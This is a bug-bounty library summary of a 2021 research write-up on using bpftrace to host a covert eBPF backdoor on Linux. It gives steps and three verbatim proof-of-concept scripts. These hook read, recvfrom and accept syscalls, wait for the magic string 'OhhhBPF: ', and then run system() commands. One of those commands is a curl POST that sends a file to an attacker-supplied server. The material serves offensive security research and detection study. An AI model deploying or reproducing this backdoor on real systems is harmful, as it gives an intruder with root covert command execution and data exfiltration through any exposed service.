# Offensive BPF: Using bpftrace to host backdoors

A bpftrace-based eBPF backdoor hooks read/recvfrom syscalls to trigger on a magic string and exfiltrate data via curl from any listening service.

- Payout: Research
- Program: Linux kernel
- Write-up by: Johann Rehberger
- Disclosed: 2021-10-07
- Write-up quality: 7/10
- Original: https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace-message-based/
- Library page: https://bugbountylibrary.com/r/blog%3Aembracethered-com-blog-posts-2021-offensive-bpf-bpftrace-message-based
- Tags: area:cloud domain:infra impact:data-leak impact:rce kind:research platform:research tech:linux technique:source-review

**Target:** eBPF/bpftrace syscall tracepoints (read, recvfrom, accept)
**Root cause:** bpftrace can attach to syscall enter/exit tracepoints, stash buffer pointers in BPF maps, and read filled buffers on exit, letting an attacker with root install a covert trigger-and-execute backdoor without kernel coding.
**Steps:**
1. List tracepoints: `sudo bpftrace -lv 'tracepoint:*enter_read'` and `sudo bpftrace -lv 'tracepoint:*recvfrom*'`
2. On sys_enter_read store buffer pointer: `@sys_read[tid] = args->buf;`
3. On sys_exit_read read buffer: `$cmd = str(@sys_read[tid], args->ret);`
4. Filter to accepted sockets by hooking `syscalls:sys_enter_accept*` and setting `@sys_accepted[tid]`
5. Compare prefix `OhhhBPF: ` and on `!exfil` run `system("echo POC > /proc/1/root/tmp/o"); system("curl -X POST --data-binary @/proc/1/root/tmp/o %s", str($1)); system("rm -f /proc/1/root/tmp/o");`
6. For nginx, hook `sys_enter_recvfrom`/`sys_exit_recvfrom` using `ubuf` instead of `buf`
**How found:** Author wanted a message-based trigger instead of source-port trigger; discovered sys_enter_read buffer is empty so used enter/exit pairing with a BPF map; strace on nginx revealed recvfrom instead of read, prompting a parallel hook.
**Exploitation:** Attacker with root on a compromised host runs the bpftrace script; then connects to any exposed service (nginx, nc) and sends `OhhhBPF: !exfil`, causing the BPF program to write POC to /proc/1/root/tmp/o and POST it to the attacker's server.
**Insight:** When a syscall hook sees an empty buffer on enter, stash the pointer in a per-tid map and read it on the matching exit tracepoint using args->ret as length; check the target's actual syscalls with strace since libraries like nginx use recvfrom not read.

## Proof of concept (copied exactly from the original report)

**bpftrace backdoor with magic string and exfil**

```
tracepoint:syscalls:sys_exit_read
{
 $len = args->ret;

 if ((@sys_read[tid] != 0) && ($len > 9))
 { 
 //lot's of assumption, but should work for line based protocols
 $cmd = str(@sys_read[tid], 9);
 if ($cmd == "OhhhBPF: ")
 {
 $cmd = str(@sys_read[tid]+9, $len-9-1);
 printf("*** Command: %s\n", $cmd);

 if ($cmd == "!exfil")
 { 
 printf("Command:exfil\n");
 system("echo POC > /proc/1/root/tmp/o");
 system("curl -X POST --data-binary @/proc/1/root/tmp/o %s", str($1));
 system("rm -f /proc/1/root/tmp/o");
 }
 else
 {
 // do other stuff
 }
 }
 } 
}
```

**Enter/exit read buffer capture and command trigger**

```
tracepoint:syscalls:sys_enter_read
{ 
 @sys_read[tid] = args->buf;
}

This stores the buf pointer in @variable[tid] - thread local so to speak. I named the variable @sys_read.

Then in sys_exit_read the pointer is extracted, and we read the buffer as string.

tracepoint:syscalls:sys_exit_read
/ @sys_read[tid] / 
{ 
 $cmd = str(@sys_read[tid], args->ret);
 printf("<-sys_exit_read: $cmd);

 if ($cmd == "OhhhBPF!\n")
 { 
 system("whoami >> /proc/1/root/tmp/o");
 }

 printf("<-sys_exit_read(tdi:%d).\n", tid);
}
```

**Accept-filtered read tracing bpftrace script**

```
#include <net/sock.h>

BEGIN
{
 printf("Welcome to Offensive BPF... Use Ctrl-C to exit.\n");
}

tracepoint:syscalls:sys_enter_accept*
{ 
 @sk[tid] = args->upeer_sockaddr;
}

tracepoint:syscalls:sys_exit_accept*
/ @sk[tid] /
{
 @sys_accepted[tid] = @sk[tid]; 
}

tracepoint:syscalls:sys_enter_read
/ @sys_accepted[tid] /
{ 
 printf("->sys_enter_read for allowed thread (fd: %d)\n", args->fd);
 @sys_read[tid] = args->buf;
}

tracepoint:syscalls:sys_exit_read
{
 if (@sys_read[tid] != 0)
 { 
 $len = args->ret;
 $cmd = str(@sys_read[tid], $len);
 printf("*** Command: %s\n", $cmd);
 } 
}

END
{
 clear(@sk);
 clear(@sys_read);
 clear(@sys_accepted);
 printf("Exiting. Bye.\n");
}
```

